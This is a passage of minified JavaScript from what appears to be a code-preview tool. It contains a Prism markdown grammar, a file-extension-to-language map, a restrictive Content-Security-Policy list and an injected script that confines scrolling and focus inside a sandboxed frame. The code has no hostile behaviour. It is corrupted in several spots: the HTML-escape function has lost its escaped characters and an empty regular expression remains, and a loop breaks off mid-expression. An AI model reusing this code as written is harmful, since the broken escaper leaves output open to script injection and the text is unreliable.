\t]*)+\|?(?:\n|\r\n?)/.source;s.languages.markdown=s.languages.extend("markup",{}),s.languages.insertBefore("markdown","prolog",{"front-matter-block":{pattern:/(^(?:\s*[\r\n])?)---(?!.)[\s\S]*?[\r\n]---(?!.)/,lookbehind:!0,greedy:!0,inside:{punctuation:/^---|---$/,"front-matter":{pattern:/\S+(?:\s+\S+)*/,alias:["yaml","language-yaml"],inside:s.languages.yaml}}},blockquote:{pattern:/^>(?:[\t ]*>)*/m,alias:"punctuation"},table:{pattern:RegExp("^"+i+r+"(?:"+i+")*","m"),inside:{"table-data-rows":{pattern:RegExp("^("+i+r+")(?:"+i+")*$"),lookbehind:!0,inside:{"table-data":{pattern:RegExp(n),inside:s.languages.markdown},punctuation:/\|/}},"table-line":{pattern:RegExp("^("+i+")"+r+"$"),lookbehind:!0,inside:{punctuation:/\||:?-{3,}:?/}},"table-header-row":{pattern:RegExp("^"+i+"$"),inside:{"table-header":{pattern:RegExp(n),alias:"important",inside:s.languages.markdown},punctuation:/\|/}}}},code:[{pattern:/((?:^|\n)[ \t]*\n|(?:^|\r\n?)[ \t]*\r\n?)(?: {4}|\t).+(?:(?:\n|\r\n?)(?: {4}|\t).+)*/,lookbehind:!0,alias:"keyword"},{pattern:/^```[\s\S]*?^```$/m,greedy:!0,inside:{"code-block":{pattern:/^(```.*(?:\n|\r\n?))[\s\S]+?(?=(?:\n|\r\n?)^```$)/m,lookbehind:!0},"code-language":{pattern:/^(```).+/,lookbehind:!0},punctuation:/```/}}],title:[{pattern:/\S.*(?:\n|\r\n?)(?:==+|--+)(?=[ \t]*$)/m,alias:"important",inside:{punctuation:/==+$|--+$/}},{pattern:/(^\s*)#.+/m,lookbehind:!0,alias:"important",inside:{punctuation:/^#+|#+$/}}],hr:{pattern:/(^\s*)([*-])(?:[\t ]*\2){2,}(?=\s*$)/m,lookbehind:!0,alias:"punctuation"},list:{pattern:/(^\s*)(?:[*+-]|\d+\.)(?=[\t ].)/m,lookbehind:!0,alias:"punctuation"},"url-reference":{pattern:/!?\[[^\]]+\]:[\t ]+(?:\S+|<(?:\\.|[^>\\])+>)(?:[\t ]+(?:"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\((?:\\.|[^)\\])*\)))?/,inside:{variable:{pattern:/^(!?\[)[^\]]+/,lookbehind:!0},string:/(?:"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\((?:\\.|[^)\\])*\))$/,punctuation:/^[\[\]!:]|[<>]/},alias:"url"},bold:{pattern:t(/\b__(?:(?!_)|_(?:(?!_))+_)+__\b|\*\*(?:(?!\*)|\*(?:(?!\*))+\*)+\*\*/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^..)[\s\S]+(?=..$)/,lookbehind:!0,inside:{}},punctuation:/\*\*|__/}},italic:{pattern:t(/\b_(?:(?!_)|__(?:(?!_))+__)+_\b|\*(?:(?!\*)|\*\*(?:(?!\*))+\*\*)+\*/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^.)[\s\S]+(?=.$)/,lookbehind:!0,inside:{}},punctuation:/[*_]/}},strike:{pattern:t(/(~~?)(?:(?!~))+\2/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^~~?)[\s\S]+(?=\1$)/,lookbehind:!0,inside:{}},punctuation:/~~?/}},"code-snippet":{pattern:/(^|[^\\`])(?:``[^`\r\n]+(?:`[^`\r\n]+)*``(?!`)|`[^`\r\n]+`(?!`))/,lookbehind:!0,greedy:!0,alias:["code","keyword"]},url:{pattern:t(/!?\[(?:(?!\]))+\](?:\([^\s)]+(?:[\t ]+"(?:\\.|[^"\\])*")?\)|[ \t]?\[(?:(?!\]))+\])/.source),lookbehind:!0,greedy:!0,inside:{operator:/^!/,content:{pattern:/(^\[)[^\]]+(?=\])/,lookbehind:!0,inside:{}},variable:{pattern:/(^\][ \t]?\[)[^\]]+(?=\]$)/,lookbehind:!0},url:{pattern:/(^\]\()[^\s)]+/,lookbehind:!0},string:{pattern:/(^[ \t]+)"(?:\\.|[^"\\])*"(?=\)$)/,lookbehind:!0}}}}),["url","bold","italic","strike"].forEach(function(u){["url","bold","italic","strike","code-snippet"].forEach(function(h){u!==h&&(s.languages.markdown[u].inside.content.inside[h]=s.languages.markdown[h])})}),s.hooks.add("after-tokenize",function(u){if(u.language!=="markdown"&&u.language!=="md")return;function h(d){if(!(!d||typeof d=="string"))for(var p=0,m=d.length;p",quot:'"'},c=String.fromCodePoint||String.fromCharCode;function l(u){var h=u.replace(o,"");return h=h.replace(/&(\w{1,8}|#x?[\da-f]{1,8});/gi,function(d,p){if(p=p.toLowerCase(),p[0]==="#"){var m;return p[1]==="x"?m=parseInt(p.slice(2),16):m=Number(p.slice(1)),c(m)}else{var v=a[p];return v||d}}),h}s.languages.md=s.languages.markdown})(Prism);const oee={".js":"javascript",".mjs":"javascript",".cjs":"javascript",".jsx":"jsx",".ts":"typescript",".mts":"typescript",".cts":"typescript",".tsx":"tsx",".vue":"markup",".py":"python",".rb":"ruby",".go":"go",".rs":"rust",".java":"java",".c":"c",".h":"c",".cpp":"cpp",".hpp":"cpp",".cc":"cpp",".hh":"cpp",".cxx":"cpp",".cs":"csharp",".php":"php",".swift":"swift",".kt":"kotlin",".kts":"kotlin",".sh":"bash",".bash":"bash",".zsh":"bash",".ps1":"powershell",".bat":"batch",".cmd":"batch",".html":"markup",".htm":"markup",".xhtml":"markup",".xml":"markup",".svg":"markup",".css":"css",".scss":"scss",".sass":"sass",".less":"less",".json":"json",".json5":"json",".yaml":"yaml",".yml":"yaml",".toml":"toml",".ini":"ini",".cfg":"ini",".conf":"ini",".sql":"sql",".md":"markdown",".markdown":"markdown"};function AD(s){const e=s.split("/").pop()||"",t=e.lastIndexOf(".");if(t<0)return null;const n=e.slice(t).toLowerCase();return oee[n]||null}function aee(s){return s.replace(/&/g,"&").replace(//g,">")}function gT(s,e){if(e){const t=vw.languages[e];if(t)try{return vw.highlight(s,t,e)}catch{}}return aee(s)}const lee=["default-src 'none'","script-src 'unsafe-inline' https:","style-src 'unsafe-inline' https:","img-src data: blob: https:","font-src data: https:","media-src data: blob: https:","connect-src 'none'","form-action 'none'","base-uri 'none'","frame-src 'none'","child-src 'none'","worker-src 'none'","object-src 'none'"].join("; "),cee=`(function () { + 'use strict'; + if (window.__astrionSandboxGuard) return; + window.__astrionSandboxGuard = true; + + function scrollingContainerList(el) { + var list = []; + var node = el.parentElement; + while (node && node !== document.body && node !== document.documentElement) { + var s = window.getComputedStyle(node); + if (/(auto|scroll|overlay)/.test(String(s.overflow) + String(s.overflowY) + String(s.overflowX))) { + list.push(node); + } + node = node.parentElement; + } + list.push(document.scrollingElement || document.documentElement); + return list; + } + + function scrollOneContainer(container, el, block) { + var isRoot = container === (document.scrollingElement || document.documentElement); + var eRect = el.getBoundingClientRect(); + var viewH = isRoot ? window.innerHeight : container.clientHeight; + var top = isRoot ? eRect.top : eRect.top - container.getBoundingClientRect().top; + var bottom = top + eRect.height; + var delta = 0; + if (block === 'start') delta = top; + else if (block === 'end') delta = bottom - viewH; + else if (block === 'center') delta = top - (viewH - eRect.height) / 2; + else if (top < 0) delta = top; + else if (bottom > viewH) delta = Math.min(bottom - viewH, top); + if (delta) container.scrollTop += delta; + } + + function localScrollIntoView(el, arg) { + var block = 'start'; + if (arg === false) block = 'end'; + else if (arg && typeof arg === 'object' && typeof arg.block === 'string') block = arg.block; + var containers = scrollingContainerList(el); + for (var i = 0; i < containers.length; i++) { + scrollOneContainer(containers[i], el, block); + } + } + + Element.prototype.scrollIntoView = function (arg) { localScrollIntoView(this, arg); }; + if ('scrollIntoViewIfNeeded' in Element.prototype) { + Element.prototype.scrollIntoViewIfNeeded = function () { localScrollIntoView(this, { block: 'nearest' }); }; + } + + var origFocus = HTMLElement.prototype.focus; + HTMLElement.prototype.focus = function (options) { + var opts = options && typeof options === 'object' + ? Object.assign({}, options, { preventScroll: true }) + : { preventScroll: true }; + origFocus.call(this, opts); + localScrollIntoView(this, { block: 'nearest' }); + }; + + document.addEventListener('click', function (ev) { + var t = ev.target; + var anchor = t && t.closest ? t.closest('a[href^="#"]') : null; + if (!anchor) return; + var id = (anchor.getAttribute('href') || '').slice(1); + ev.preventDefault(); + if (!id) return; + var target = document.getElementById(id); + if (target) { + // 先摘掉 id 再更新 hash,避免浏览器默认锚点滚动穿透到宿主页面 + target.removeAttribute('id'); + try { window.location.hash = id; } catch (err) { /* opaque origin 下忽略 */ } + target.setAttribute('id', id); + localScrollIntoView(target, { block: 'start' }); + } else { + try { window.location.hash = id; } catch (err) { /* ignore */ } + } + }, true); + + function patchFrame(win) { + try { + win.Element.prototype.scrollIntoView = Element.prototype.scrollIntoView; + win.HTMLElement.prototype.focus = HTMLElement.prototype.focus; + } catch (err) { /* 跨源子 frame 跳过 */ } + } + new MutationObserver(function (mutations) { + for (var i = 0; i < mutations.length; i++) { + var added = mutations[i].addedNodes; + for (var j = 0; j < added.length; j++) { + var n = added[j]; + if (!n || n.nodeType !== 1) continue; + var frames = []; + if (n.tagName === 'IFRAME' || n.tagName === 'FRAME') frames.push(n); + if (n.querySelectorAll) { + var found = n.querySelectorAll('iframe,frame'); + for (var k = 0; k < found.length; k++) frames.push(found[k]); + } + for (var m = 0; m < frames.length; m++) { + if (frames[m].contentWindow) patchFrame(frames[m].contentWindow); + } + } + } + }).observe(document.documentElement, { childList: true, subtree: true }); +})();`;function ED(){return` + +